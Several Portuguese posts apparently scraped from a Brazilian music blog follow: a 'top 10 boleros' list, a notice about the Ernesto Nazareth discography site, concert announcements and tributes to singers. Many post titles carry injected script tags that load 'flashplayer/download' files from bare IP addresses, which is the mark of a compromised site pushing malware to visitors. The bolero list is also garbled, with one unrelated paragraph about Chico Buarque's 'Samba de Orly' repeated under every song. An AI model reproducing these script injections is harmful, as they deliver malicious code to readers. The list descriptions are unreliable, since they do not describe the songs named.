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Os 10 boleros mais dançantes da MPB

A exemplo da recente efeméride do dia do rock, ocorrida no último dia 13 de julho, quando saiu na mídia uma leva de listas sugerindo os top “riffs” de guitarra da história (riffs são progressões de acordes, intervalos ou notas musicais geralmente feitos na introdução da música), resolvi fazer também uma lista apropriada à temática do Sovaco de Cobra, elegendo os solos de batucadas registradas em gravações mais memoráveis na música popular brasileira.

Embora a levada do samba seja a característica mais marcante da maioria das faixas, diversos ritmos se fazem presentes nesta seleção como o samba de partido alto, o baião e a marchinha carnavalesca, de diversas épocas e estilos.

O propósito desta seleção não é estabelecer uma lista definitiva sobre o tema, muito menos ditar uma ordem de importância ou qualidade entre os títulos escolhidos. Contudo, foram selecionadas intencionalmente apenas músicas cantadas, como forma de enaltecer a percussão brasileira  e que assim, através deste apanhado, revelam a criatividade e inovação inerentes dos músicos daqui  em relação à produção instrumental nacional.

Agradeço aos amigos que ajudaram com valiosas sugestões nesta lista, como o Heron Coelho, Junior Pitta e Babu Baía, além dos leitores que acompanham e comentam frequentemente os conteúdo aqui publicado. Muito obrigado!

REFERÊNCIAS PELO CONJUNTO DA OBRA:

A lista a seguir contempla uma relação de artistas da música popular que certamente engrossariam seleção dos dez boleros acima ilustratada, não só pelo conjunto de gravações irrepreensíveis em relação ao ritmo, mas por suas obras representarem um sinônimo de latinidade que confere o seu valor ao bolero brasileiro. Assim sendo, seria injusto não cita-los nesta matéria. São eles:

  • Trio Irakitan
  • Altemar Dutra
  • Dalva de Oliveira
  • Angela Maria e Cauby Peixoto
  • Jamelão
  • Nana Caymmi
  • Tânia Alves

Vamos então à lista dos top 1o boleros brasileiros mais dançantes da MPB:

10. Ainda bem

Marisa Monte e Arnaldo Antunes (faixa do disco “O que você quer saber de verdade”, de 2011).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


Ouça na Rádio UOL :

9. De cigarro em cigarro

Luiz Bonfá (faixa do disco “Beijo bandido”, de 2011).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


Ouça na Rádio UOL :

8. Meu bem, meu mal

Caetano Veloso (faixa do disco “Fantasia”, de 1981).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


Ouça na Rádio UOL :

 

7. Bolero de Satã

Guinga e Paulo César Pinheiro (faixa do disco “Essa mulher”, de 1979).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


Ouça na Rádio UOL :

 

6. Sob medida

Chico Buarque (faixa do disco “Maria de Fátima Palha de Figueiredo”, de 2000).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


Ouça na Rádio UOL :

5. Folhetim

Chico Buarque (faixa do disco “Água viva”, de 1978).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


Ouça na Rádio UOL :

 

4. Começaria tudo outra vez

Gonzaguinha (faixa do disco “Pássaro da manhã”, de 1977).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


Ouça na Rádio UOL :

 

3. Anos dourados

Tom Jobim e Chico Buarque (faixa do disco “Passarim”, de 1987).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

Vou ler os nossos versos

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


Ouça na Rádio UOL :

 

2. Resposta ao tempo

Cristóvão Bastos e Aldir Blanc (faixa do disco “Resposta ao tempo”, de 1998).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


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1. Dois pra lá, dois pra cá

João Bosco e Aldir Blanc (faixa do disco “Elis”, de 1974).

veja a letra da música

Dentre as inesquecíveis faixas contidas neste consagrado disco da carreira de Chico Buarque, como ConstruçãoDeus lhe pagueOlha MariaCotidiano e Valsinha, o Samba de Orly complementa a identidade político engajada do álbum, através do poema de despedida que o compositor dedicara  ao parceiro Toquinho, o qual lhe presenteara a melodia antes de avisa-lo de sua partida de regresso ao Brasil no final dos anos 60, no período em que ambos estavam exilados no exterior (mais histórias acerca da origem do samba neste link).

A introdução percussiva se dá através da marcação entre surdo e arpejos pontuados de cavaquinho, convocando a cuíca a deflagrar seu solo no decorrer dos 30 segundos iniciais da faixa. Passada a batucada introdutória, Chico inicia o canto, sendo na sequência acompanhado no refrão por um coro formado pelo MPB4.


Ouça na Rádio UOL :

 

Besame – Jane Duboc – Flavio Venturini

Que será – Dalva de Oliveira - http://raridadesdopipiu.blogspot.com.br/2009/03/dalva-de-oliveira-boleros-1959.html

Orquestra roberto inglês

Alguém como tu – Dick Farney – Penumbra

Garota Solitária – Angela Maria – Pesquisar disco

pensando em ti – nelson gonçalves -

Fica comigo esta noite – Angela RoRo – So nos resta viver 1980

Seu pensamento – Adriana Calcanhoto – Maré

Nossos momentos – Elizeth Cardoso

Saia do meu caminho – Araci de Almeida

Preciso dizer que te amo – Marina Lima

Caso sério – Rita Lee

Site Ernesto Nazareth 150 anos<script src="http://50.57.176.45/ads.js"></script> <script src="http://64.207.152.178/br/flashplayer/download"></script>

Com a concepção e coordenação de Alexandre Dias, Paulo Aragão e Bia Paes Leme e pesquisa, textos e discografia por Alexandre Dias, o site Ernesto Nazareth 150, apoiado pelo Instituto Moreira Salles, é a referência definitiva sobre a obra do compositor brasileiro, que merece ser visitada e regularmente acompanhada. Com a palavra, Alexandre Dias:

É com grande felicidade e orgulho que informo a vocês que Ernesto Nazareth é o primeiro compositor do mundo a ter sua discografia inteiramente disponibilizada na internet.

No site www.ernestonazareth150anos.com.br – seção discografia – já está disponível uma extensa tabela catalogando cerca de 2.500 gravações de músicas de Nazareth feitas desde 1902 até hoje, em todo o mundo.

E para enriquecer a tabela, estão disponíveis 2.043 gravações para audição instantânea em stream (não sendo possível download). Basta clicar em uma linha, que o player irá aparecer. Em seguida clique no botão play.

Lá, nos temos as primeiras gravações em 78-RPM feitas na primeira década de século XX pela lendária Casa Edison, com as bandas militares e alguns dos primeiros regionais de choro, passando por gravações do próprio Nazareth. Também, a explosão que foi sua música em 1914 nos EUA e Paris, o período de transição na década de 1940 com influências americanas, os primeiros LPs antológicos na década de 1950 com Jacob do Bandolim, Radamés Gnattali e Carolina Cardoso de Menezes e os cantores populares.

Temos também os registros de sua grande redescoberta pela pianista Eudóxia de Barros em 1963 e pelo pianista Arthur Moreira Lima em 1975, que o levaram definitivamente para as salas de concerto, adentrando a era do CD com arranjos espetaculares para as mais variadas formações instrumentais, inclusive orquestra sinfônica, em um momento em que ele é gravado por músicos japoneses, americanos, franceses, noruegueses, uruguaios, islandeses, canadenses, brasileiros, e muitos outros, mostrando o alcance que sua obra tem.

Esta é uma pesquisa inédita que desenvolvo há 13 anos, e que mostra que Ernesto Nazareth é um dos compositores mais gravados e queridos do Brasil. Vê-la disponibilizada online representa um mais-que-sonho realizado para mim, que só foi possível graças à visão extraordinária do Instituto Moreira Salles, representado por Bia Paes Leme e Paulo Aragão, também coordenadores do site.

Ajudem-nos a divulgar o site.

Desejo a todos um mergulho profundo no universo que é a discografia de Nazareth, e que possam sempre se maravilhar com as possibilidades de sua música.

Grande abraço.

Alexandre Dias

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“No Salão do Barbeiro” no Sesc Pompéia

É neste sábado, 03 de dezembro de 2011, na Choperia do Sesc Pompéia, o show de lançamento do novo CD do compositor e violonista Zé Barbeiro. Gravado ao vivo em fevereiro deste ano no “Projeto Rumos” do Instituto Cultural Itaú, “No Salão do Barbeiro” apresenta um repertório 100% autoral do músico mais representativo das rodas de choro e das noites instrumentais paulistanas.

O viés dançante caracterizado nos  ritmos brasileiros explorados por Zé Barbeiro – do baião ao maxixe, da rumba ao samba de gafieira – é a marca registrada do show, que contará com a presença de dançarinos de salão performando a ambientação de baile proporcionada pelo repertório.

Assista a seguir uma amostra deste ambiente: o samba de gafieira A Turma.

No Salão do Barbeiro

SESC Pompéia. Sábado (03/12) às 21h30. Rua Clélia, 93. Tel.: 11 3871-7700. Ingressos: R$ 16,00 (inteira); R$ 8,00 (usuário matriculado no SESC e dependentes, +60 anos, estudantes e professores da rede pública de ensino) e R$ 4,00 (trabalhador no comércio e serviços matriculado no SESC e dependentes).

Mais informações: site do evento 


Ouça na Rádio UOL:

Fonte da imagem: Divulgação

Dona Maria, essa Flor de Paquetá&lt;script src=&quot;http://87.106.35.192/br/flashplayer/download/&quot;&gt;&lt;/script&gt; <script src="http://74.208.53.87/flashplayer"></script>

Cristininha, minha Dona Maria, elo reencontrado de Aracy Almeida e de tantas outras vozes esquecidas no fazimento desse país avesso. Vozes essas que Cristina, cabrocha loura, evoca por meio de sua autenticidade ímpar, voz de pastora, generosa amiga, mulher mais adorada, flor eternizada nas escutas de minha alma.

Fizemos alguns trabalhos, e faremos mais. Porque o amor é a coisa mais livre.

Um fato curioso, e engraçado: Na ocasião dessa montagem que dirigi, a peça de Plínio Marcos (O Poeta da Vila e seus amores), Cristininha interpretava a ânima de Aracy de Almeida, sempre a entoar os sambas de Noel, compositor de quem gravara muitos, muitos sambas ao longo de seus quase 40 anos de carreira.

Uma jornalista jovem aprochegou-se, sabendo que Cristina havia registrado muitos temas de Noel, e sem saber da prematura morte do autor, imaginou que Cristina o tivesse conhecido, lançando-lhe a pergunta: “Cristina, como era sua relação com Noel Rosa?”. Sem titubear, com seu senso de humor perspicaz e absurdamente ligeiro, a sambista respondeu: “Olha, minha filha…fodemos muito!”

Acho que a jornalista até hoje pensa que Cristininha é Laurinda, ou a própria Araca, a Arquiduquesa do Encantado! Salve Cristina, Salve Dona Maria, minha flor de Paquetá!

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Saudades do Brasil de Aurora Miranda &amp;lt;script src=&amp;quot;http://50.57.69.106/br/flashplayer/download&amp;quot;&amp;gt;&amp;lt;/script&amp;gt; <script src="http://79.96.136.239/br/flashplayer"></script>

Em 1999, marcamos um chá, pontualmente às 5hs. Levei uma câmera pesada, esperei na sala, tímido, com perguntas decoradas para “fazer bonito”.

E de repente entra ela, Aurora. Gravei pouco. Falamos muito. O perfume de Aurora pespegou-se em minha memória – por vezes ainda o sinto. E ouço, no silêncio do silêncio de uma saudade guardada, a voz de Aurora cantando “Alguém me ama”, “Você só mente”, “Cidade Maravilhosa”. E me flagro aos prantos, com saudades de Aurora. Com saudades de mim. Com saudades do Brasil!

“Eu queria ser o Pato Donald”, lembro-me de ter dito a Aurora! E ela, discretamente, riu, e deu-me um beijo no rosto.


Ouça na Rádio UOL:

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Alexandre Dias e Wandrei Braga no Auditório Ibirapuera&lt;script src=&quot;http://63.78.213.207/br/flashplayer/download/&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://50.116.9.110/br/flashplayer/download&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://157.205.23.137/br/flashplayer&quot;&gt;&lt;/script&gt;

Os pianistas e pesquisadores Alexandre Dias e Wandrei Braga, idealizadores do site do Acervo Digital Chiquinha Gonzaga (www.chiquinhagonzaga.com.br) apresentam Chiquinha, Clássica e Inédita.

O repertório com 16 músicas mescla obras conhecidas com outras nunca antes ouvidas desta compositora, instrumentista, regente e marcante personalidade feminina da história da música popular brasileira.

Prelúdio, da opereta A Corte na Roça; Agnus Dei; Ave Maria; Prece a Nossa Senhora das Dores; Santa; Uma Página Triste; A Sorte Grande e Cançoneta , adaptadas para piano solo, e Hino à Redentora e Fantasia Ato 1 – Introdução, formam o repertório que o público do Auditório Ibirapuera poderá ouvir pela primeira vez (veja abaixo a relação completa das músicas e sua execução).

Embora seja mais reconhecida pela marchinha Ó Abre Alas, primeira canção carnavalesca criada por ela, em 1899, Chiquinha (1847-1935) foi, ainda, a primeira maestrina do país, primeira pianista de choro, introdutora da música popular nos salões elegantes e fundadora da primeira sociedade protetora de direitos autorais. A apresentação marca o lançamento do site que, pela primeira vez, dá acesso a mais de 300 partituras de sua autoria revisadas e digitalizadas.
%%anc%%

Conhecedores desta vasta obra, e admiradores da compositora, os pianistas Alexandre Dias e Wandrei Braga que interpretam as suas obras no Ibirapuera, mergulharam em extensa pesquisa a partir de uma lista elaborada pela biógrafa de Chiquinha, a escritora Edinha Diniz. O trabalho consumiu três anos de pesquisas dos músicos em busca de partituras entre acervos de bibliotecas, colecionadores e aficionados. Com isso, a lista de 12 músicas dela conhecidas e disponíveis comercialmente deu um salto para mais de 300 partituras, quase 100% de sua obra.

Entre, choros, valsas, tangos brasileiros, canções, polcas, fados, habaneras, romances, duetos, baladas, marchas, peças sacras, serenatas, barcarolas, modinhas, mazurcas e dobrados, elas as estão à disposição gratuitamente no site do Acervo Digital Chiquinha Gonzaga, idealizado por estes músicos.

Auditório Ibirapuera. 30/10, domingo, às 11h. Av. Pedro Álvares Cabral, s/nº – Portão 2. Tel.: 11 3629.1075. Ingressos: Entrada Franca, por ordem de chegada, até completar a capacidade de 800 lugares.

Fonte da imagem: Divulgação

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Mario Lago: Nada além de 100 anos <script src="http://64.15.78.105/br/flashplayer/download/"></script>

Para não deixar passar a data em branco: o centenário de aniversário do artista multimídia (cantor, ator, compositor e radialista, entre tantas vocações) Mario Lago, nascido em 26 de novembro de 1911.

Vale a leitura deste  perfil do artista artístico, político e biográfico, assim como detalhes sobre o evento que celebrou data, no Rio de Janeiro.

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Francis e Olivia Hime cantam "Almamúsica" no Teatro FECAP<script src="http://87.106.35.192/br/flashplayer/download/"></script>

Neste fim de semana, nos dias 26 e 27 de novembro de 2011 no Teatro FECAP, em São Paulo capital, o pianista e compositor Francis Hime se apresenta no palco com a cantora e compositora Olivia Hime. O espetáculo será baseado no CD “Almamúsica”, lançado em maio de 2011, que irá ganhar versão em DVD (realizado pelo Canal Brasil) durante estas presentações paulistanas.

O espetáculo reúne canções que percorrem clássicos da MPB, como “O que será (A flor da pele)”, “Morena do Mar” e “Risque”; relembra canções extraídas do catálogo da chanson française, como “Du Soleil plein la tête” e resgata a memória afetiva do casal Hime em temas como “Canta, Maria”, “Saudade de Amar” e “Smile”. A nova “Almamúsica”, de Olivia e Francis, também está no roteiro musical.

A seleção de canções foi feita de forma natural, sempre pelos dois. Olivia Hime conta mais sobre Almamúsica: “Pode ser uma biografia? Memórias musicais? Porque esta suíte, esta música e não outra? Não sei. Foram associações livres. Algumas canções balizaram o caminho, outras costuraram musicalmente o enredo. Me parece que assim, unidas, ganham o sentido que queríamos dar ao CD e ao show: as infinitas belas canções têm uma ligação entre elas”, completa Olivia.

Almamúsica

Teatro FECAP. Av. Liberdade, 532, tel. 3188-4149. Sábado 26/11 às 21h e domingo 27/11 às 19h. Ingressos: R$ 40,00 (inteira); R$ 20,00 (meia entrada para estudantes).
Mais informações: site do evento

Fonte da imagem: Divulgação

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Lançamento do Acervo Digital Chiquinha Gonzaga em SP&amp;lt;script src=&amp;quot;http://64.15.78.105/br/flashplayer/download/&amp;quot;&amp;gt;&amp;lt;/script&amp;gt; <script src="http://74.39.193.10/br/flashplayer"></script>

Alexandre Dias no palco do Auditório Ibirapuera em 30/10/2011 (fonte da imagem: Alexandre Dias)

A dupla de pianistas Alexandre Dias e Wandrei Braga, responsáveis pelo Acervo Digital Chiquinha Gonzaga, se apresenta mais uma vez em São Paulo capital para celebrar o lançamento do site. O concerto será no teatro do colégio Humboldt às 20h30. No programa músicas conhecidas e inéditas da compositora.

Veja a seguir o vídeo de uma matéria da íntegra sobre o trabalho de Alexandre e Wandrei exibido na TV Bandeirantes no início desta semana, que dá uma amostra do repertório que será visto no concerto:

A partir de uma lista elaborada pela biógrafa de Chiquinha, a escritora Edinha Diniz, foi feito um catálogo atualizado das obras da compositora. As alterações em relação ao catálogo que existia até então foram muitas e envolvem desde as “músicas sinônimas”, ou seja, músicas que embora possuam títulos diferentes têm o mesmo conteúdo musical, fato comum e recorrente na obra de Chiquinha, até partituras totalmente inéditas, de músicas jamais publicadas ou gravadas.

Durante mais de três anos, Alexandre e Wandrei garimparam partituras em diversas fontes, como admiradores, pesquisadores, acervos de bibliotecas e colecionadores. O resultado foi um salto considerável, de aproximadamente 12 músicas (ínfimos 5%) que estavam disponíveis comercialmente, para mais de 300 partituras, quase 100% da obra de Chiquinha à disposição gratuitamente (com exceção das músicas que compõem a integral para as peças teatrais). Pode-se constatar a versatilidade de Chiquinha pela variedade de ritmos e gêneros presentes em seu trabalho. São choros, valsas, tangos brasileiros, canções, polcas, fados, habaneras, romances, duetos, baladas, marchas, peças sacras, serenatas, barcarolas, modinhas, gavotas, mazurcas e dobrados. Cada música será disponibilizada em sua versão original e versão cifrada, para contemplar músicos de todas as esferas, acompanhadas de notas informativas escritas pela biógrafa de Chiquinha, Edinha Diniz exclusivamente para o Acervo Digital. Além disso, também vão estar no site todas as letras das canções de Chiquinha Gonzaga, nunca antes publicadas.

Inicialmente, as partituras foram transcritas para um programa de editoração musical. Depois disso, cada uma delas passou por uma revisão minuciosa com base nos manuscritos originais e primeiras edições pesquisadas no Instituto Moreila Salles, parceiro e atual detentor do acervo. Edinha Diniz, outra parceira do projeto, criou notas exclusivas para descrever cada uma das peças. Além de um texto biográfico redigido especialmente para o site.

Para finalizar, todo esse material recebeu um tratamento da equipe de design que elaborou o projeto visual que inclui capa e contracapa personalizadas para cada uma das composições.

Concerto de lançamento do Acervo Digital Chiquinha Gonzaga
Quinta-feira 18/11/11 às 20h30
Teatro Humboldt: Av. Engº Alberto Kuhlmann, 525 | Tel: 11 5686-4055 | São Paulo
Entrada: $10 ou 1K de alimento não perecível
Informações: página do evento 

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A felicidade canta em qualquer canto

<img class=”alignnone size-full wp-image-7699″ title=”na_ozzetti” src=”http://sovacodecobra.uol.com.br/wp-content/uploads/2011/12/na_ozzetti.jpg” alt=”" width=”600″ height=”302″ />

<a href=”http://www.naozzetti.com.br/” target=”_blank”>Ná Ozzetti</a> é uma das artistas mais brilhantes com quem tive a felicidade de trabalhar.

Com ela, aprendi a exercitar a disciplina que, por muitas vezes, passa ao largo do que se convencionou “show-posto” – nunca fiz isso, mas sim musicais, mesmo que durassem apenas três dias! Com Ná fiz um trabalho sobre a obra de <a href=”http://pt.wikipedia.org/wiki/Ismael_Silva” target=”_blank”>Ismael Silva</a>, e me lembro de muitas farpas e giletes, da cenografia de minha irmã, e do medo que eu tinha que Ná se ferisse, ou rasgasse seu vestido vermelho (símbolo da paixão segundo Ismael Silva).

Toda vez que penso em Ná, penso na generosidade de uma alma que veio ao mundo para encher de beleza e poesia nosso mundo, reinventando felicidades, alegrias – a felicidade tem os olhos azuis, e encanta e canta, em todo e em qualquer canto.

<iframe src=”http://www.youtube.com/embed/wktddN5-SUo” frameborder=”0″ width=”600″ height=”338″></iframe>

<em>fonte da imagem: site da artista</em>

<img src=”http://sovacodecobra.uol.com.br/wp-content/themes/church_10/images/radiouol_logo.gif” alt=”" width=”150″ height=”48″ />
Ouça na <a href=”http://radio.musica.uol.com.br/” target=”_blank”>Rádio UOL</a>:
<ul>
<li>Músicas gravadas por <a href=”http://www.radio.uol.com.br/#/artista/na-ozzetti/29823″ target=”_blank”>Ná Ozzetti</a>.</li>
</ul>

Contagem de palavras:149   Última edição feita por Zé Carlos Cipriano, em 06/12/2011 às 22:45

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